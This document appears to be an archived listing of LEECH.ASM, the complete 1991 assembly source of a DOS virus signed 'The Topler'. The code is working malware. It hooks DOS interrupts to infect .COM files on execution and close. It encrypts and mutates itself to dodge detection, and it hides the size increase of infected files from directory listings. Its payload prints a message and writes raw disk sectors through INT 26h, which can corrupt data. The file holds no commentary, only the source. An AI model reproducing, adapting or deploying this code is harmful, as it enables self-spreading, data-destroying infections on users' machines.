home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / LEECH.ASM < prev    next >
Assembly Source File  |  1991-04-18  |  15KB  |  498 lines

  1. code               segment
  2.                    assume cs:code
  3.                    org  100h
  4.  
  5. start:
  6.                    jmp  begin
  7.  
  8.                    org  200h
  9. begin:
  10.                    jmp  short beg
  11.  
  12. FileSize           dw   0E00h; 02h
  13. int21vec           dd   0    ; 04h
  14. oldint13           dd   0    ; 08h
  15. oldint24           dd   0    ; 0Ch
  16. Date               dw   0    ; 10h
  17. Time               dw   0    ; 12h
  18.                    db   1    ; 14h
  19. version            dw   0    ; 15h   - mutation status
  20.  
  21. beg:
  22.                    call codenext
  23. codenext:
  24.                    pop  si
  25. mutation1:
  26.                    cli
  27.                    push ds
  28.                    pop  es
  29.                    mov  bp,sp
  30.                    mov  sp,si
  31.                    add  sp,3FEh-(offset codenext-offset begin)
  32. mutation2:
  33.                    mov  cx,ss
  34.                    mov  ax,cs
  35.                    mov  ss,ax
  36.                    pop  bx
  37.                    dec  sp
  38.                    dec  sp
  39.                    add  si,offset mybeg-offset codenext
  40. codeloop:
  41.                    pop  ax
  42.                    xor  al,bh
  43.                    push ax
  44.                    dec  sp
  45.                    cmp  sp,si
  46.                    jnc  codeloop
  47. mybeg:
  48.                    mov  ax,es
  49.                    dec  ax
  50.                    mov  ds,ax
  51.                    add  word ptr ds:[3],-082h
  52.                    mov  bx,ds:[3]
  53.                    mov  byte ptr ds:[0],5ah
  54.                    inc  ax
  55.                    inc  bx
  56.                    add  bx,ax
  57.                    mov  es,bx
  58.                    mov  ss,cx
  59.                    add  si,offset begin-offset mybeg
  60.                    mov  bx,ds
  61.                    mov  ds,ax
  62.                    mov  sp,bp
  63.                    push si
  64.                    xor  di,di
  65.                    mov  cx,400h
  66.                    cld
  67.                    rep  movsb
  68.                    pop  si
  69.                    push bx
  70.                    mov  bx,offset inblock-offset begin
  71.                    push es
  72.                    push bx
  73.                    retf
  74. inblock:
  75.                    mov  es,ax
  76.                    mov  ax,cs:[2]                ; File Size
  77.                    add  ax,100h
  78.                    mov  di,si
  79.                    mov  si,ax
  80.                    mov  cx,400h
  81.                    rep  movsb
  82.                    pop  es
  83.                    xor  ax,ax
  84.                    mov  ds,ax
  85.                    sti
  86.                    cmp  word ptr ds:[21h*4],offset int21-offset begin
  87.                    jne  count
  88.                    sub  word ptr es:[3],-082h
  89.                    test byte ptr ds:[46ch],11100111b
  90.                    jnz  efect1
  91.                    push cs
  92.                    pop  ds
  93.                    mov  si,offset msg-offset begin
  94. efect2:
  95.                    lodsb
  96.                    or   al,0
  97.                    jz   efect3
  98.                    mov  ah,0eh
  99.                    int  10h
  100.                    jmp  short efect2
  101. efect3:
  102.                    mov  ah,32h
  103.                    xor  dl,dl
  104.                    int  21h
  105.                    jc   efect1
  106.                    call setaddr
  107.                    call setint
  108.                    mov  dx,ds:[bx+10h]
  109.                    mov  ah,19h
  110.                    int  21h
  111.                    mov  cx,2
  112.                    int  26h
  113.                    pop  bx
  114.                    call setint
  115. efect1:
  116.                    jmp  quit
  117. count:
  118.                    add  word ptr es:[12h],-082h
  119.                    mov  bx,ds:[46ch]
  120.                    push ds
  121.                    push cs
  122.                    pop  ds
  123.                    push cs
  124.                    pop  es
  125.                    mov  byte ptr ds:[14h],1
  126.                    and  bh,80h
  127.                    mov  ds:[4ffh],bh
  128.                    test bl,00000001b
  129.                    jnz  mut1
  130.                    mov  si,offset mutation1-offset begin
  131.                    add  si,ds:[15h]
  132.                    lodsb
  133.                    xchg al,ds:[si]
  134.                    mov  ds:[si-1],al
  135. mut1:
  136.                    test bl,00000010b
  137.                    jnz  mut2
  138.                    mov  si,offset mutation2-offset begin
  139.                    add  si,ds:[15h]
  140.                    lodsw
  141.                    xchg ax,ds:[si]
  142.                    mov  ds:[si-2],ax
  143. mut2:
  144.                    test bl,00000100b
  145.                    jnz  mut3
  146.                    mov  si,offset codeloop-offset begin
  147.                    mov  al,2
  148.                    xor  byte ptr ds:[si],al
  149.                    xor  byte ptr ds:[si+2],al
  150.                    xor  byte ptr ds:[si+3],al
  151. mut3:
  152.                    test bl,00001000b
  153.                    jnz  mut4
  154.                    mov  si,offset codenext-offset begin
  155.                    mov  di,400h
  156.                    mov  cx,offset codeloop-offset codenext-2
  157.                    push si
  158.                    push di
  159.                    lodsb
  160.                    cmp  al,5eh
  161.                    je   jmp1
  162.                    inc  si
  163. jmp1:
  164.                    push cx
  165.                    rep  movsb
  166.                    pop  cx
  167.                    pop  si
  168.                    pop  di
  169.                    cmp  al,5eh
  170.                    je   jmp2
  171.                    mov  al,5Eh
  172.                    stosb
  173.                    rep  movsb
  174.                    mov  al,90h
  175.                    stosb
  176.                    xor  ax,ax
  177.                    jmp  short jmp3
  178. jmp2:
  179.                    mov  ax,0C68Fh
  180.                    stosw
  181.                    rep  movsb
  182.                    mov  ax,1
  183. jmp3:
  184.                    mov  cs:[15h],ax
  185. mut4:
  186.                    mov  ah,30h
  187.                    int  21h
  188.                    cmp  ax,1e03h
  189.                    jne  nodos33
  190.                    mov  ah,34h
  191.                    int  21h
  192.                    mov  bx,1460h
  193.                    jmp  short dos33
  194. nodos33:
  195.                    mov  ax,3521h
  196.                    int  21h
  197. dos33:
  198.                    mov  ds:[4],bx
  199.                    mov  ds:[6],es
  200.                    mov  si,21h*4
  201.                    pop  ds
  202.                    push si
  203.                    push cs
  204.                    pop  es
  205.                    mov  di,offset intend-offset begin+1
  206.                    movsw
  207.                    movsw
  208.                    pop  di
  209.                    push ds
  210.                    pop  es
  211.                    mov  ax,offset int21-offset begin
  212.                    stosw
  213.                    mov  ax,cs
  214.                    stosw
  215.                    mov  di,offset mybeg-offset begin
  216.                    mov  al,cs:[3ffh]
  217. coderloop:
  218.                    xor  cs:[di],al
  219.                    inc  di
  220.                    cmp  di,offset coderloop-offset begin
  221.                    jc   coderloop
  222. quit:
  223.                    mov  ah,62h
  224.                    int  21h
  225.                    push bx
  226.                    mov  ds,bx
  227.                    mov  es,bx
  228.                    mov  ax,100h
  229.                    push ax
  230.                    retf
  231. ;------------------------------------------------------------------------------
  232. infect:
  233.                    push si
  234.                    push ds
  235.                    push es
  236.                    push di
  237.                    cld
  238.                    push cs
  239.                    pop  ds
  240.                    xor  dx,dx
  241.                    call movefp
  242.                    mov  dx,400h
  243.                    mov  ah,3fh
  244.                    mov  cx,3
  245.                    call Dos
  246.                    jc   infect4
  247.                    xor  di,di
  248.                    mov  ax,word ptr ds:[400h]
  249.                    mov  cx,ds:[0]
  250.                    cmp  cx,ax
  251.                    je   infect8
  252.                    cmp  al,0EBH  ; near jmp
  253.                    jne  infect1
  254.                    mov  al,ah
  255.                    xor  ah,ah
  256.                    add  ax,2
  257.                    mov  di,ax
  258. infect1:
  259.                    cmp  al,0E9h  ; far jmp
  260.                    jne  infect2
  261.                    mov  ax,ds:[401h]
  262.                    add  ax,3
  263.                    mov  di,ax
  264.                    xor  ax,ax
  265. infect2:
  266.                    cmp  ax,'MZ'
  267.                    je   infect4
  268.                    cmp  ax,'ZM'
  269.                    jne  infect3
  270. infect4:
  271.                    stc
  272. infect8:
  273.                    jmp  infectquit
  274. infect3:
  275.                    mov  dx,di
  276.                    push cx
  277.                    call movefp
  278.                    mov  dx,400h
  279.                    mov  ah,3fh
  280.                    mov  cx,dx
  281.                    call Dos
  282.                    pop  cx
  283.                    jc   infect4
  284.                    cmp  ds:[400h],cx
  285.                    je   infect8
  286.                    mov  ax,di
  287.                    sub  ah,-4
  288.                    cmp  ax,ds:[2]
  289.                    jnc  infect4
  290.                    mov  dx,ds:[2]
  291.                    call movefp
  292.                    mov  dx,400h
  293.                    mov  cx,dx
  294.                    mov  ah,40h
  295.                    call Dos
  296. infect6:
  297.                    jc   infectquit
  298.                    mov  dx,di
  299.                    call movefp
  300.                    push cs
  301.                    pop  es
  302.                    mov  di,400h
  303.                    push di
  304.                    push di
  305.                    xor  si,si
  306.                    mov  cx,di
  307.                    rep  movsb
  308.                    mov  si,400h+offset coderloop-offset begin
  309.                    mov  al,ds:[7ffh]
  310. infect5:
  311.                    xor  ds:[si],al
  312.                    inc  si
  313.                    cmp  si,07ffh
  314.                    jc   infect5
  315.                    pop  cx
  316.                    pop  dx
  317.                    mov  ah,40h
  318.                    call Dos
  319. infectquit:
  320.                    pop  di
  321.                    pop  es
  322.                    pop  ds
  323.                    pop  si
  324.                    ret
  325. int21:
  326.                    cmp  ax,4b00h
  327.                    je   exec
  328.                    cmp  ah,3eh
  329.                    je   close
  330.                    cmp  ah,11h
  331.                    je   dir
  332.                    cmp  ah,12h
  333.                    je   dir
  334. intend:
  335.                    db   0eah,0,0,0,0
  336.  
  337. dir:
  338.                    push si
  339.                    mov  si,offset intend-offset begin+1
  340.                    pushf
  341.                    call dword ptr cs:[si]
  342.                    pop  si
  343.                    push ax
  344.                    push bx
  345.                    push es
  346.                    mov  ah,2fh
  347.                    call dos
  348.                    cmp  byte ptr es:[bx],0ffh
  349.                    jne  dir2
  350.                    add  bx,7
  351. dir2:
  352.                    mov  ax,es:[bx+17h]
  353.                    and  ax,1fh
  354.                    cmp  ax,1eh
  355.                    jne  dir1
  356.                    mov  ax,es:[bx+1dh]
  357.                    cmp  ax,0801h
  358.                    jc   dir1
  359.                    sub  ax,400h
  360.                    mov  es:[bx+1dh],ax
  361. dir1:
  362.                    pop  es
  363.                    pop  bx
  364.                    pop  ax
  365.                    iret
  366. int24:
  367.                    mov  al,3
  368.                    iret
  369. Dos:
  370.                    pushf
  371.                    call dword ptr cs:[4]
  372.                    ret
  373. moveFP:
  374.                    xor  cx,cx
  375.                    mov  ax,4200h
  376.                    call Dos
  377.                    ret
  378. exec:
  379.                    push ax
  380.                    push bx
  381.                    mov  byte ptr cs:[14h],0
  382.                    mov  ax,3d00h
  383.                    call dos
  384.                    mov  bx,ax
  385.                    mov  ah,3eh
  386.                    int  21h
  387.                    pop  bx
  388.                    pop  ax
  389. intendjmp:
  390.                    jmp  short intend
  391. close:
  392.                    or   byte ptr cs:[14h],0
  393.                    jnz  intendjmp
  394.                    push cx
  395.                    push dx
  396.                    push di
  397.                    push es
  398.                    push ax
  399.                    push bx
  400.                    call setaddr
  401.                    call setint
  402.                    mov  ax,1220h
  403.                    int  2fh
  404.                    jc   closequit
  405.                    mov  ax,1216h
  406.                    mov  bl,es:[di]
  407.                    xor  bh,bh
  408.                    int  2fh
  409.                    mov  ax,es:[di+11h]
  410.                    mov  cs:[2],ax
  411.                    mov  ax,es:[di+0dh]
  412.                    and  al,0f8h
  413.                    mov  cs:[12h],ax
  414.                    mov  ax,es:[di+0fh]
  415.                    mov  cs:[10h],ax
  416.                    cmp  word ptr es:[di+29h],'MO'
  417.                    jne  closequit
  418.                    cmp  byte ptr es:[di+28h],'C'
  419.                    jne  closequit
  420.                    cmp  cs:[2],0FA00h
  421.                    jnc  closequit
  422.                    mov  al,20h
  423.                    xchg al,es:[di+4]
  424.                    mov  ah,2
  425.                    xchg es:[di+2],ah
  426.                    pop  bx
  427.                    push bx
  428.                    push ax
  429.                    call infect
  430.                    pop  ax
  431.                    mov  es:[di+4],al
  432.                    mov  es:[di+2],ah
  433.                    mov  cx,cs:[12h]
  434.                    jc   close1
  435.                    or   cl,1fh
  436.                    and  cl,0feh
  437. close1:
  438.                    mov  dx,cs:[10h]
  439.                    mov  ax,5701h
  440.                    call Dos
  441. closequit:
  442.                    pop  bx
  443.                    pop  ax
  444.                    pop  es
  445.                    pop  di
  446.                    pop  dx
  447.                    pop  cx
  448.                    call dos
  449.                    call setint
  450.                    retf 02
  451. setaddr:
  452.                    mov  ah,13h
  453.                    int  2fh
  454.                    mov  cs:[8d],bx
  455.                    mov  cs:[10d],es
  456.                    int  2fh
  457.                    mov  cs:[12d],offset int24-offset begin
  458.                    mov  cs:[14d],cs
  459.                    ret
  460. setint:
  461.                    push ax
  462.                    push si
  463.                    push ds
  464.                    pushf
  465.                    cli
  466.                    cld
  467.                    xor  ax,ax
  468.                    mov  ds,ax
  469.                    mov  si,13h*4
  470.                    lodsw
  471.                    xchg ax,cs:[8]
  472.                    mov  ds:[si-2],ax
  473.                    lodsw
  474.                    xchg ax,cs:[10d]
  475.                    mov  ds:[si-2],ax
  476.                    mov  si,24h*4
  477.                    lodsw
  478.                    xchg ax,cs:[12d]
  479.                    mov  ds:[si-2],ax
  480.                    lodsw
  481.                    xchg ax,cs:[14d]
  482.                    mov  ds:[si-2],ax
  483.                    popf
  484.                    pop  ds
  485.                    pop  si
  486.                    pop  ax
  487.                    ret
  488. msg:
  489.                    db   'The leech live ...',0
  490.                    db   'April 1991  The Topler.',0
  491.  
  492.                    org  0F00h
  493.  
  494.                    int  20h
  495.  
  496. code               ends
  497.                    end  start
  498.